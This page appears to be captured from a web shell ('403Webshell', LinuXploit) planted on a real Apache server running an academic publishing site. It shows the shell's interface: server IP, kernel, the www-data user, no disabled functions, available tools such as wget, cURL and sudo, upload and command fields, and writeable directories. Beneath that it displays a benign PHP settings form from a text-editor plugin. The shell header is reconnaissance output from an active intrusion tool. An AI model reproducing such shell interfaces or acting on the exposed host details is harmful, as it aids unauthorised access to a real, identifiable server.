403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.217.123
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/plugins/generic/textEditorExtras/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/plugins/generic/textEditorExtras/TextEditorExtrasSettingsForm.inc.php
<?php
import('lib.pkp.classes.form.Form');
class TextEditorExtrasSettingsForm extends Form {

	/** @var TextEditorExtrasPlugin  */
	public $plugin;
	/**
	 * @copydoc Form::__construct()
	 */
	public function __construct($plugin) {

		// Define the settings template and store a copy of the plugin object
		parent::__construct($plugin->getTemplateResource('settings.tpl'));
		$this->plugin = $plugin;

		// Always add POST and CSRF validation to secure your form.
		$this->addCheck(new FormValidatorPost($this));
		$this->addCheck(new FormValidatorCSRF($this));
	}

	/**
	 * Load settings already saved in the database
	 *
	 * Settings are stored by context, so that each journal or press
	 * can have different settings.
	 */
	public function initData()
	{
		$contextId = Application::get()->getRequest()->getContext()->getId();
		$additions = [
			"masthead" => ["description" => []],
			"authorGuidelines" => ["authorGuidelines" => [], "copyrightNotice" => []],
			"license" => ["licenseTerms" => []],
			"reviewerGuidance" => ["reviewGuidelines" => [], "competingInterests" => []],
			"editEmailTemplate" => ["body" => []],
			"titleAbstract" => ["abstract" => []],
			"announcement" => ["description" => [], "descriptionShort" => []]
		];
		$settings = $this->plugin->getSetting($contextId, 'additions');
        if (isset($settings)) {
			$additions = array_merge_recursive($additions, $settings);
		}
		$this->setData('additions', $additions);
		parent::initData();
	}

	/**
	 * Load data that was submitted with the form
	 */
	public function readInputData() {
		$this->readUserVars(['additions']);
		parent::readInputData();
	}

	/**
	 * Fetch any additional data needed for your form.
	 *
	 * Data assigned to the form using $this->setData() during the
	 * initData() or readInputData() methods will be passed to the
	 * template.
	 *
	 * @return string
	 */
	public function fetch($request, $template = null, $display = false) {

		// Pass the plugin name to the template so that it can be
		// used in the URL that the form is submitted to
		$templateMgr = TemplateManager::getManager($request);
		$templateMgr->assign('pluginName', $this->plugin->getName());

		return parent::fetch($request, $template, $display);
	}

	/**
	 * Save the settings
	 *
	 * @return null|mixed
	 */
	public function execute(...$functionArgs) {
		$contextId = Application::get()->getRequest()->getContext()->getId();
		$this->plugin->updateSetting($contextId, 'additions', $this->getData('additions'));

		// Tell the user that the save was successful.
		import('classes.notification.NotificationManager');
		$notificationMgr = new NotificationManager();
		$notificationMgr->createTrivialNotification(
			Application::get()->getRequest()->getUser()->getId(),
			NOTIFICATION_TYPE_SUCCESS,
			['contents' => __('common.changesSaved')]
		);

		return parent::execute(...$functionArgs);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit